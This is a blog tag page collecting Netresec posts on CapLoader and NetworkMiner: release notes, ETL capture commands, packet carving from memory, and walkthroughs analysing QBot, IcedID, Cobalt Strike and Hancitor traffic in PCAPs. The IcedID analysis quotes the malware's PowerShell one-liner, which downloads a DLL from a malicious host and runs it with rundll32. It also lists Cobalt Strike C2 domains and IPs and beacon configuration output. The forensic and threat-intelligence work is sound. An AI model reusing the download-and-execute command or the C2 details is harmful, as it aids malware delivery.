NETRESEC Network Security Blog - Tag : CapLoader

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Hunting for C2 Traffic

In this video I look for C2 traffic by doing something I call Rinse-Repeat Threat Hunting, which is a method for removing "normal" traffic in order to look closer at what isn't normal.

The video was recorded in a Windows Sandbox in order to avoid accidentally infecting my Windows PC with malware.

The PCAP files analyzed in the video are:

Thank you for sharing these capture files Brad!

IOC List

  • QBot source:
  • QBot md5: 2b55988c0d236edd5ea1a631ccd37b76
  • QBot sha1: 033a22c3bb2b0dd1677973e1ae6280e5466e771c
  • QBot sha256: 2d68755335776e3de28fcd1757b7dcc07688b31c37205ce2324d92c2f419c6f0
  • Qbot proxy protocol server:
  • QBot C2:
  • QBot C2 JA3: 51c64c77e60f3980eea90869b68c58a8
  • QBot C2 JA3S : 7c02dbae662670040c7af9bd15fb7e2f
  • QBot X.509 domain:
  • QBot X.509 thumbprint: 5a8ee4be30bd5da709385940a1a6e386e66c20b6
  • IcedID BackConnect server:
  • IcedID BackConnect server:

References and Links

Posted by Erik Hjelmvik on Friday, 30 September 2022 12:37:00 (UTC/GMT)

Tags: #Threat Hunting#PCAP#CapLoader#NetworkMiner#NetworkMiner Professional#Video#51c64c77e60f3980eea90869b68c58a8#IcedID

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CapLoader 1.9.4 Released

CapLoader 1.9.4

A new version of our advanced PCAP filtering tool CapLoader was released today. The new CapLoader 1.9.4 release includes features like JA3 hash extraction from TLS traffic and a fantastic thing called Select Similar Flows, which is a unique feature that you will only find in CapLoader! We have also included a VXLAN parser, so that flows tunneled inside of overlay networks can be presented directly in the CapLoader GUI.

Select Similar Flows or Services

If you right-click a flow or service in CapLoader you’ll now be presented with an option to “select similar flows” (or services). This feature causes CapLoader to read through the loaded PCAP files again in order to find other flows that are similar to the one that was right-clicked. CapLoader doesn’t care about IP addresses or port numbers when assessing this similarity. Instead it looks at behavioral patterns in the traffic itself, such as packet sizes and byte patterns. In practice, this feature will select flows that are communicating using the same protocol as the one you clicked, regardless of which port it runs on. CapLoader already comes with an advanced feature for doing port-independent protocol identification, which currently detects over 170 protocols. But the “select similar” feature can even be used to find odd or proprietary protocols that aren’t in CapLoaders protocol database.

There is also a feature called “select VERY similar flows” which, instead of searching for flows with the same protocol, looks for flows with the same implementation or dialect of that particular protocol. This feature can be used to single out the network traffic of a particular software or tool from a haystack of network traffic from multiple applications, which all run the same application layer protocol. Another use case is to find additional malicious C2 sessions that run on top of a standard protocol like HTTP, TLS or DNS – provided that you’ve located at least one such malicious flow or service.

JA3 and JA3S Hashes for TLS Flows

We added JA3 extraction to NetworkMiner back in 2019, with the release of NetworkMiner 2.5. It’s now time to bring this useful little TLS fingerprinting feature into CapLoader as well. As of version 1.9.4 CapLoader attempts to extract JA3 and JA3S hashes from all TCP flows. The JA3 and JA3S hashes are presented in the Flows and Services tabs as separate columns. This allows users to filter flows based on a JA3 hash directly in CapLoader instead of having to export a filtered PCAP to an external tool to calculate JA3 hashes.

CapLoader with Column Critera filter for JA3 hash

Image: Column criteria filter “JA3 = a72f351cf3c3cd1edb345f7dc071d813” on PCAP from CERT-SE’s 2021 CTF.

Extraction of Flows Inside of VXLAN Tunnels

VXLAN is a network virtualization technology that can be used to create overlay networks, where Ethernet frames are encapsulated inside of UDP packets (see RFC 7348). The UDP port used for VXLAN is 4789 or 8472. We added support for VXLAN to NetworkMiner in 2017, but CapLoader has until now only presented the VXLAN tunnels in the GUI when VXLAN traffic is loaded. We’re happy to announce that CapLoader now extracts flows for the VXLAN tunnels and the traffic inside of those tunnels.

ICMP flow extracted from VXLAN tunnel

Image: ICMP flow extracted from VXLAN tunnel. PCAP file is Virtual_Extensible_LAN-VXLAN.pcap from Xena Networks

Additional GUI Improvements

We’ve also made several minor improvements to CapLoader’s user interface, such as a “Save Visible Flows” option on the File menu, which can be used to save the filtered traffic in the current view to a PCAP file. Another nice addition is the “Copy from Selected Rows” menu option, which can be used to copy text from a particular column.

CapLoader’s OSINT lookup context menus have also been updated to include some very useful services like Feodo Tracker, Hatching Triage and IPVoid.

Free Trial versus Full Version

Many of the new additions to CapLoader are only available in the full version, but the VXLAN extraction and some of the GUI additions are also available in the free trial version of CapLoader. No registration is required to download the trial — just download, extract and run for 30 days. If you like it, then please consider purchasing the full version!

Updating to the Latest Release

Users who have already purchased a license for CapLoader can download a free update to version 1.9.4 from our customer portal.

Posted by Erik Hjelmvik on Thursday, 16 June 2022 11:44:00 (UTC/GMT)

Tags: #CapLoader#JA3#JA3S#Protocol Identification#Protocol Detection#PCAP#TLS#VXLAN

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Open .ETL Files with NetworkMiner and CapLoader

NetTrace.ETL in CapLoader 1.9.3 and NetworkMiner 2.7.2

Windows event tracing .etl files can now be read by NetworkMiner and CapLoader without having to first convert them to .pcap or .pcapng. The ETL support is included in NetworkMiner 2.7.2 and CapLoader 1.9.3, which were both released this morning.

What is an ETL Trace File?

ETL is short for Event Trace Log, which is ETW session data that has been logged to a file. You can, for example, extract EVTX logs from ETL files. But in this blog post we're gonna focus on network traffic that has been captured to an ETL file with a command like:

netsh trace start capture=yes report=no tracefile=packets.etl
...wait while packets are being captured...
netsh trace stop

Pro-tip: You can specify a capture NIC explicitly with "CaptureInterface=<GUID>"

NetworkMiner and CapLoader can also read packets in Pktmon ETL files, which actually are different from those created with netsh. Capturing packets to an ETL file with Pktmon is very simple:

pktmon start --capture --pkt-size 0 -f packets.etl
...wait while packets are being captured...
pktmon stop

Pro-tip: You can specify capture filters with "pktmon filter add"

You can also capture packets to ETL files with PowerShell:

New-NetEventSession -Name sniffer -LocalFilePath C:\packets.etl
Add-NetEventPacketCaptureProvider -SessionName sniffer -TruncationLength 2000
Start-NetEventSession -Name sniffer
...wait while packets are being captured...
Stop-NetEventSession -Name sniffer
Remove-NetEventSession -Name sniffer

Pro-tip: You capture packets on a remote PC by specifying a CimSession


The built-in support for ETL files in NetworkMiner and CapLoader makes it easy to work with ETL files. Not only will you no longer need to go through the extra step of converting the ETL file to PCAP using etl2pcapng or Microsoft Message Analyzer (which was retired in 2019), the analysis will also be faster because both CapLoader and NetworkMiner read ETL files faster compared to etl2pcapng and MMA.


The primary limitation with NetworkMiner and CapLoader's ETL support is that it only works in Windows. This means that you will not be able to open ETL files when running NetworkMiner in Linux or macOS.

Another limitation is that both NetworkMiner and CapLoader might fail to parse logged packets if the event trace was created on an OS version with an event manifest that is incompatible with the OS version on which the ETL file is opened.

Under the Hood

Both NetworkMiner and CapLoader leverage Windows specific API calls to read packets from ETL files. An ETL file opened in CapLoader first get converted to PcapNG, then CapLoader parses that PcapNG file. NetworkMiner, on the other hand, parses the packets in the ETL file directly to extract artifacts like files, images and parameters. NetworkMiner's approach is both simpler and quicker, but by converting the ETL file to PcapNG CapLoader can utilize its packet indexing feature to rapidly extract any subset of the captured traffic upon request by the user.

CapLoader's approach is also useful for users who are wondering how to open ETL files in Wireshark, since the packets from an ETL file can be opened in Wireshark by dragging the PcapNG file from the CapLoader GUI onto Wireshark.

Drag-and-drop NetTrace.pcapng from CapLoader to Wireshark
Image: NetTrace.etl converted to PcapNG in CapLoader can be drag-and-dropped onto Wireshark.

Additional Updates in NetworkMiner

The ETL support is not the only new feature in NetworkMiner 2.7.2 though. We have also added support for the ERSPAN protocol. The FTP parser has also been improved to support additional commands, such as AUTH (RFC2228).

We've also added a useful little feature to the context menu of the Parameter's tab, which allows users to send extracted parameters to CyberChef (on for decoding.

Submit Parameter value from NetworkMiner to CyberChef
Image: Right-clicking a parameter brings up a context menu with "Submit to CyberChef" option.

Additional Updates in CapLoader

The only major improvement in CapLoader 1.9.3, apart from the built-in ETL-to-PcapNG converter, is that the protocol identification speed and precision has been improved. We've also separated the identification of SSL (version 2.0 to 3.0) and TLS (SSL 3.1 and later) as two separate protocols in this version, whereas they previously both were fingerprinted as "SSL".


We'd like to thank Dick Svensson and Glenn Larsson for their input on reading ETL files. We also want to thank Markus Schewe for recommending us to add ERSPAN support to NetworkMiner!

Posted by Erik Hjelmvik on Tuesday, 02 November 2021 07:15:00 (UTC/GMT)

Tags: #PowerShell#CapLoader#NetworkMiner#PcapNG#Windows#Wireshark#PCAP#CyberChef

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Carving Packets from Memory

The packets are in the router

Someone who says "We're gonna pull the packet captures out of the router" probably has no clue how to capture network traffic. In the Lindell case, statements like these were results of an elaborate hoax.

Nevertheless, such a statement doesn't have to be nonsense — if it comes from someone who knows how to dump the physical memory from the router. There are actually more packets available in the RAM of a router, or computer for that matter, than you might think.

The Forensic Challenge from DFRWS 2016 contains a memory dump from an SDN switch. If you drag-and-drop SDN.ram.raw from that challenge to CapLoader then you'll be asked if you wanna carve packets from the memory dump.

CapLoader error message - Invalid capture file

This packet carving feature is also available in the free trial version of CapLoader.

Clicking "Yes" in the dialogue brings up a configuration window. The default settings are okay in most cases.

CapLoader's Carve Packets Window

After pressing "Start" CapLoader will start identifying packets in the memory dump from the SDN switch. The packets will be saved to a Pcap-NG file located in the %TEMP% directory, unless you specified a different output location in the config window.

You can download a copy of the Pcap-NG file that I generated with CapLoader 1.9.2 here: (661 kB, 2959 packets)

Here's what it looks like when the carved packets have been loaded into NetworkMiner Professional.

NetworkMiner Professional with SDN.ram.raw.pcapng loaded

As you can see, a great deal of information can be extracted about the hosts on this network just by examining the dumped memory from the SDN switch.

What about Bulk Extractor?

Simson Garfinkel's bulk_extractor can also extract packets from memory dumps. It was actually a research paper by Simson that inspired me to implement a packet carver in the first place.

There are a few significant differences between bulk_extractor and CapLoader with regards to packet carving though. One difference is that bulk_extractor identifies network packets by looking for Ethernet frames containing IPv4 packets, while CapLoader looks for IPv4 or IPv6 packets containing TCP or UDP packets. The output from bulk_extractor is usually quite similar to that of CapLoader, and so is the parsing speed. CapLoader was just slightly faster in our tests and carved about 3% more packets compared to bulk_extractor, these additional packets were primarily IPv6 packets and packets that weren't encapsulated by an Ethernet frame.

Where can I download memory dumps?

I posted a question on Twitter, asking the #DFIR community for their favorite publicly available memory dumps prior to writing this blog post, and I received lots of great answers. Thank you all for contributing! I have now compiled the following list of places from where you can download memory dumps:

For a more detailed blog post on CapLoader's packet carving functionality, please see our Carving Network Packets from Memory Dump Files blog post from 2014.

Posted by Erik Hjelmvik on Tuesday, 31 August 2021 15:10:00 (UTC/GMT)

Tags: #Forensics#RAM#PCAP#Pcap-NG#PcapNG#DFIR#carve#carver#packets#dump#CapLoader#memory forensics#DFRWS

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Walkthrough of DFIR Madness PCAP

I recently came across a fantastic digital forensics dataset at, which was created by James Smith. There is a case called The Stolen Szechuan Sauce on this website that includes forensic artifacts like disk images, memory dumps and a PCAP file (well, pcap-ng actually). In this video I demonstrate how I analyzed the capture file case001.pcap from this case.

Follow Along in the Analysis

Please feel free to follow along in the analysis performed in the video. You should be able to use the free trial version of CapLoader and the free open source version of NetworkMiner to perform most of the tasks I did in the video.

Here are some of the BPF and Column Criteria filters that I used in the video, so that you can copy/paste them into CapLoader.

  • net
  • Umbrella_Domain =
  • not ip6 and not net
  • host or host or port 3389

ASCII Network Flow Chart

References and Links


All events in this timeline take place on September 19, 2020. Timestamps are in UTC.

  • 02:19:26 performs RDP brute force password attack against DC01.
  • 02:21:47 RDP password brute force successful.
  • 02:22:08 connects to DC01's RDP service as Administrator. Duration: 9 sec.
  • 02:22:36 connects to DC01's RDP service as Administrator again. Duration: 30 min.
  • 02:24:06 DC01 downloads coreupdater.exe from using IE11.
  • 02:25:18 DC01 establishes Metrepreter reverse_tcp connection to Duration: 4 min.
  • 02:29:49 DC01 re-establishes Metrepreter reverse_tcp connection to Duration: 23 min.
  • 02:35:55 DC01 connects to DESKTOP's RDP service Administrator (username in Kerberos traffic). Duration 16 min.
  • 02:39:58 DESKTOP download coreupdater.exe from using MS Edge.
  • 02:40:49 DESKTOP establishes Metrepreter reverse_tcp connection to Duration: 2h 58 min.
  • 02:56:03 connects to DC01's RDP service as Administrator one last time. Duration: 1 min 38 sec.
  • 02:56:38 DC01 re-establishes Metrepreter reverse_tcp connection to Duration: 2h 42 min.


  • IP : (Attacker)
  • IP : (C2 server)
  • MD5 : eed41b4500e473f97c50c7385ef5e374 (coreupdater.exe)
  • JA3 Hash : 84fef6113e562e7cc7e3f8b1f62c469b (RDP scan/brute force)
  • JA3 Hash : 6dc99de941a8f76cad308d9089e793d7 (RDP scan/brute force)
  • JA3 Hash : e26ff759048e07b164d8faf6c2a19f53 (RDP scan/brute force)
  • JA3 Hash : 3bdfb64d53404bacd8a47056c6a756be (RDP scan/brute force)

Wanna learn more network forensic analysis techniques? Then check out our upcoming network forensics classes in September and October.

Posted by Erik Hjelmvik on Friday, 09 July 2021 13:20:00 (UTC/GMT)

Tags: #PCAP#NetworkMiner#CapLoader#video#videotutorial

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Detecting Cobalt Strike and Hancitor traffic in PCAP

This video shows how Cobalt Strike and Hancitor C2 traffic can be detected using CapLoader.

I bet you’re going:

😱 OMG he’s analyzing Windows malware on a Windows PC!!!

Relax, I know what I’m doing. I have also taken the precaution of analyzing the PCAP file in a Windows Sandbox, which just takes a couple of seconds to deploy and run.

The capture file I’m looking at is called “2021-05-13-Hancitor-traffic-with-Ficker-Stealer-and-Cobalt-Strike.pcap” and can be downloaded from here:

CapLoader’s Services tab shows us that the connections to TCP 80 and 443 on are very periodic, with a detected period of exactly 1 minute. CapLoader successfully identifies the protocols for these two services as Cobalt Strike over HTTP and Cobalt Strike over SSL, respectively. The third service in this list is also very periodic, that’s the Hancitor trojan beaconing to its C2 server every two minutes.

Services tab in CapLoader

CapLoader uses machine learning to identify the application layer protocol based on the behavior of the traffic, not the port number. This means that there can be false positives, i.e. the protocol classification that CapLoader gives a flow or service might be wrong. It is more common, however, for CapLoader to yield false negatives, which means that it can't identify the protocol. The detection of Cobalt Strike inside of HTTP and SSL traffic was recently introduced in the latest 1.9 release of CapLoader. I expected this feature to detect Cobalt Strike traffic in HTTP, but I was delighted to see that CapLoader often detects even TLS encrypted Cobalt Strike beaconing with really good precision!

As shown in the video, the Cobalt Strike beacon config can easily be extracted from the network traffic using NetworkMiner and Didier Stevens’ 1768 K python script.

The output from Didier’s tool looks something like this:

0x0001 payload type 0 windows-beacon_http-reverse_http
0x0002 port 80
0x0003 sleeptime 60000
0x0004 maxgetsize 1048576
0x0005 jitter 0
0x0007 publickey 30819f30[...]
0x0008 server,get-uri ',/ca'

As you can see, it uses HTTP for transport with a “sleeptime” of 1 minute (60000 ms) and 0% jitter. This means that a new connection will be made to the Cobalt Strike C2 server every minute. The fact that there was no jitter is what gives this service such a high value in CapLoader’s “Periodicity” column.

Network Forensics Training

Are you interested in learning more about how to analyze network traffic from Cobalt Strike and other backdoors, malware and hacker tools? Then take a look at the live online network forensics classes I will be teaching in September and October!

Posted by Erik Hjelmvik on Monday, 31 May 2021 08:30:00 (UTC/GMT)

Tags: #Netresec#Cobalt Strike#CobaltStrike#periodicity#Protocol Sandbox#PCAP#NSM#video#videotutorial

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CapLoader 1.9 Released

CapLoader 1.9 Logo

A new version of the PCAP filtering tool CapLoader has been released today. The new CapLoader version 1.9 is now even better at identifying protocols and periodic beacons than before. The user interface has also been improved to make it easier to filter and drill down in network traffic to extract interesting, malicious or unusual traffic.

More Protocols Identified

We’ve added port-independent protocol detection for over 20 new protocols since the last release. The newly added protocols include some that are used by malicious tools and backdoors such as hTran, RevengeRAT, Tofsee and Winsecsrv, as well as legitimate protocols like WireGuard (VPN) and RemoteFX (UDP based remote desktop). We’ve also improved our support for ICS traffic analysis by adding protocol identification of SCADA protocols DNP3 and IEC 60870-5-104.

CapLoader also detects what we call “sub-protocols”, which are communication protocols that use other L7 protocols as transport. We have extended the sub-protocol detection in CapLoader 1.9 to include traffic like Anchor_DNS and dnscat traffic, which both run on top of DNS. We have also added detection of Cobalt Strike beacons over HTTP and HTTPS, even though the latter is quite difficult to detect due to the application data being encrypted.

Improved Usability

CapLoader 1.9 comes with several user interface improvements that help you solve the “needle in the haystack” problem even more efficiently than before.

The context menus in the Flows, Services and Hosts tabs can now be used to select rows based on values in any column, such as “Select all flows where Duration > 10 minutes” (when right-clicking a 10 minute flow).

The “Keyword Filter” is now called “Row Filter” in order to avoid getting it mixed up with the “Find Keyword” feature. The Row Filter has also been enhanced with a new filtering mode, to complement the Contains / All Words / Any Words / RegEx options, which is called “Column Criteria”. The Column Criteria can be used to filter the displayed rows based on the values in a user-specified column. The Column Criteria “Duration > 00:10:00” will, for example, only show flows that are 10 minutes or longer, while “ASN = 3301” shows the flows going to Telia’s AS3301.

CapLoader 1.9 with Column Criteria Row Filter Duration > 00:10:00

Image: CapLoader with Row Filter Column Criteria "Duration > 00:10:00"

We have also extended CapLoader's BPF implementation to support VLAN id’s, so that you can use expressions like “vlan 100” as input filter as well as display filter. The BPF implementation also supports logic operators, so that more advanced filters like “(tcp port 80 or port 443) and not net” can be used.

CapLoader has a method for detecting periodic connection patterns, which was introduced in CapLoader 1.4. This feature can be used to detect clients that connect to a service at regular intervals, such as a beacon used for command-and-control or email client connecting to a mail server. We have improved the periodicity detection in CapLoader 1.9 so that it now detects periodic services more accurately.

The Initial Round Trip Time (iRRT) in the Flows and Services tabs is now measured in milliseconds instead of seconds in order to avoid “bulky numbers” (h/t Eddi).

There was previously a significant delay when selecting many flows at once (like 100.000). We’ve improved the performance of this feature in CapLoader 1.9, so that you can now select several hundred thousands flows at once without having to wait for an unresponsive GUI to update.

More OSINT Lookup Services

A feature in CapLoader that often comes in handy is the ability to right-click a flow, service or host and open a website with OSINT information about the clicked IP address or domain name. We have now replaced some of the OSINT services with new better ones.

The new services we’ve added to CapLoader 1.9 for performing online OSINT lookups of IP addresses, network services and domain names are:

Bug fixes and Credits

Several bugs have been fixed in this new release of CapLoader, much thanks to feedback we’ve received from our users. We’d like to thank Anders Regert and Mandy van Oosterhout for reporting bugs in CapLoaders “Save As” feature. We’d also like to thank Hyun Dowon for reporting a snap length corruption bug that previously appeared when exporting flows from Pcap-NG files We have also fixed an issue where capture files were previously not always merged in chronological order when being aggregated.

Updating to the Latest Release

Users who have purchased a license for CapLoader can download a free update to version 1.9 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).

Posted by Erik Hjelmvik on Tuesday, 25 May 2021 12:20:00 (UTC/GMT)

Tags: #Netresec#CapLoader#PCAP#Pcap-NG#IEC-104#CobaltStrike#BPF#periodicity#OSINT

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Analysing a malware PCAP with IcedID and Cobalt Strike traffic

IdedID and Cobalt Strike

This network forensics walkthrough is based on two pcap files released by Brad Duncan on The traffic was generated by executing a malicious JS file called StolenImages_Evidence.js in a sandbox environment.

The capture file starts with a DNS lookup for, which resolved to, followed by an HTTP GET request for "/222g100/index.php" on that domain. The following PowerShell oneliner is returned in the HTTP response from

$path = $Env:temp+'\JwWdx.dat'; $client = New-Object Net.WebClient; $client.downloadfile('',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer

This oneliner instructs the initial dropper to download a Win32 DLL payload from http://banusdona[.]top/222g100/main.php and save it as "JwWdx.dat" in the user's temp directory and then run the DLL with:

rundll32.exe %TEMP%\JwWdx.dat,DllRegisterServer

As you can see in the screenshot below, the HTTP response for this second request to has Content-Type "application/octet-stream", but also a conflicting Content-disposition header of "attachment;filename=data.jpg", which indicates that the file should be saved to disk as "data.jpg". Nevertheless, the "MZ" header in the transferred data reveals that the downloaded data wasn't an image, but a Windows binary (dll or exe).

CapLoader transcript of IcedID malware download Image: CapLoader transcript of IcedID malware download

The downloaded file gets extracted from the pcap file by NetworkMiner as "data.jpg.octet-stream".

Files extracted from PCAP by NetworkMiner Image: Files extracted from PCAP by NetworkMiner

Right-clicking "data.jpg.octet-stream" in NetworkMiner and selecting "Calculate MD5..." brings up a new window with additional file details, such as MD5 and SHA hashes of the reassembled file.

Extracted malware download of Cerbu / IcedID f98711dfeeab9c8b4975b2f9a88d8fea
MD5: f98711dfeeab9c8b4975b2f9a88d8fea SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c

This file is available on VirusTotal, where we can see that it's a DLL that several AV vendors identify as "Cerbu" or "IcedID". VirusTotal's C2AE sandbox analysis of the DLL also reveals the domain name "" in the process' memory. As you might expect, a connection is made to that domain just a few seconds later. A nice overview of these connections can be seen in CapLoader's Flow tab.

CapLoader showing initial flows from the IcedID malware execution Image: CapLoader showing initial flows from the IcedID malware execution

The server returns a 500kB file, which NetworkMiner extracts from the pcap file as "index.gzip".

MD5: 96a535122aba4240e2c6370d0c9a09d3 SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8 SHA256: 3d1b525ec2ee887bbc387654f6ff6d88e41540b789ea124ce51fb5565e2b8830

This turns out to be an encrypted IcedID DLL file, which has been analyzed by Ali Aqeel here:

Right after the IcedID download we see a series of HTTPS connections towards odd domains like,, and, all of which resolved to IP That host is most likely a command-and-control (C2) server used by the IcedID malware.

CapLoader's "Services" tab also reveals that the TLS connections to port 443 on are very periodic, with a new connection every 5 minutes. Periodic connection patterns like this is a typical indicator of C2 traffic, where the malware agent connects back to the C2 server on regular intervals to check for new tasks.

Periodic IcedID C2 communication detected by CapLoader Image: CapLoader's Services tab showing that the IcedID malware agent connects to the C2 server every 5 minutes (00:05:01).

The traffic to is encrypted, so we can't inspect the payload to verify whether or not it is IcedID C2 communications. What we can do, however, is to extract the HTTPS server's X.509 certificate and the JA3 hash of the client's TLS implementation from the encrypted traffic.

NetworkMiner has extracted the X.509 certificates for,, and to disk as "localhost.cer".

X.509 certificate 452e969c51882628dac65e38aff0f8e5ebee6e6b

It turns out that all these sites used the same self-signed certificate, which had SHA1 fingerprint 452e969c51882628dac65e38aff0f8e5ebee6e6b. The X.509 certificate was created using OpenSSL's default values, such as "Internet Widgits Pty Ltd" etc. Further details about this certificate can be found on

The JA3 hashes used by the IcedID malware agent can be found in NetworkMiner's Hosts tab as well as in the Parameters tab.

NetworkMiner's Parameters tab with keyoword filter JA3 Hash Image: NetworkMiner's Parameters tab with keyword filter "JA3 Hash"

The JA3 hashes for the client that connects to the C2 server are a0e9f5d64349fb13191bc781f81f42e1 and 3b5074b1b5d032e5620f69f9f700ff0e. Several legitimate Windows applications unfortunately have the same JA3 hashes, so we can't use them to uniquely identify the IcedID agents.

The IcedID C2 traffic continues for over 19 hours, at which point we suddenly see a connection to a new suspicious domain called "" on The first HTTP request to that domain is used to download a 261703 byte file, as can be seen in this Flow Transcript from CapLoader:

CapLoder Transcript of CobaltStrike beacon download

NetworkMiner extracts this file as "9r8z.octet-stream". This turns out to be a Cobalt Strike beacon download, which we can decode with Didier Stevens' fantastic script.

The output from reveals that this Cobalt Strike beacon is using the following URIs for C2 communication:

  • GET URI: http://lesti[.]net/userid=
  • POST URI: http://lesti[.]net/update.php

We can also see that the Cobalt Strike license-id (a.k.a. watermark) is 1580103814. This ID can be used to link this Cobalt Strike beacon to other campaigns. Below is a list of Cobalt Strike C2 servers using license-id 1580103814 discovered by Tek in December 2020:

  • 45.147.229[.]157
  • selfspin[.]com
  • savann[.]org
  • palside[.]com
  • server3.msadwindows[.]com
  • mapizzamates[.]com
  • fixval[.]com
  • rackspare-technology[.]download
  • 108.177.235[.]148
  • matesmapizza[.]com

Update 4 May 2021

Sergiu Sechel published a blog post yesterday, which included a list of Cobalt Strike C2 servers. We fed this list to Tek's script in order to see if license-id 1580103814 is still active. It turned out it was. We found the following 27 domains and IP's running Cobalt Strike C2 servers on TCP 443 using that license-id.

  • 151.236.14[.]53
  • 151.236.14[.]53
  • 172.241.27[.]70
  • 193.29.13[.]201
  • 193.29.13[.]201
  • 193.29.13[.]209
  • 194.165.16[.]60
  • 193.29.13[.]209
  • 193.29.13[.]201
  • 194.165.16[.]60
  • 194.165.16[.]60
  • dain22[.]net
  • drellio[.]com
  • feusa[.]net
  • fut1[.]net
  • helle1[.]net
  • hars2t[.]com
  • kasaa[.]net
  • idxup[.]com
  • maren2[.]com
  • mgfee[.]com
  • massflip[.]com
  • oaelf[.]com
  • repdot[.]com
  • scalewa[.]com
  • tulls[.]net
  • wellser[.]org

The full output from our re-scan of Sergiu's C2 list can be found on pastebin.

Update 8 May 2021

Security researcher Michael Koczwara is tracking Cobalt Strike license 1580103814 as APT actor LuckyMouse (a.k.a. Emissary Panda or APT 27). Michael's Cobalt Stike C2 dataset, which currently contains 25 unique C2 IPs and domains for license-id 1580103814, is available as a Google Docs spreadsheet (see the "LuckyMouse Actor" tab).

Indicators of Compromise - IOCs

  • MD5: 8da75e1f974d1011c91ed3110a4ded38
  • SHA1: e9b5e549363fa9fcb362b606b75d131dec6c020e
  • SHA256: 0314b8cd45b636f38d07032dc8ed463295710460ea7a4e214c1de7b0e817aab6
  • DNS:
  • IP:
  • MD5: f98711dfeeab9c8b4975b2f9a88d8fea
  • SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb
  • SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c
  • DNS:
  • IP:
  • MD5: 96a535122aba4240e2c6370d0c9a09d3
  • SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8
  • MD5: 11965662e146d97d3fa3288e119aefb2
  • SHA1: b63d7ad26df026f6cca07eae14bb10a0ddb77f41
  • SHA256: d45b3f9d93171c29a51f9c8011cd61aa44fcb474d59a0b68181bb690dbbf2ef5
  • DNS:
  • DNS:
  • DNS:
  • DNS:
  • IP:
  • SHA1: 452e969c51882628dac65e38aff0f8e5ebee6e6b
  • DNS:
  • IP:
  • MD5: 449c1967d1708d7056053bedb9e45781
  • SHA1: 1ab39f1c8fb3f2af47b877cafda4ee09374d7bd3
  • SHA256: c7da494880130cdb52bd75dae1556a78f2298a8cc9a2e75ece8a57ca290880d3
  • Cobalt Strike Watermark: 1580103814

Network Forensics Training

Are you interested in learning more about how to analyze captured network traffic from malware and hackers? Have a look at our network forensic trainings. Our next class is a live online event called PCAP in the Morning.

Posted by Erik Hjelmvik on Monday, 19 April 2021 09:45:00 (UTC/GMT)

Tags: #Cobalt Strike#CobaltStrike#IcedID#NetworkMiner#CapLoader#Network

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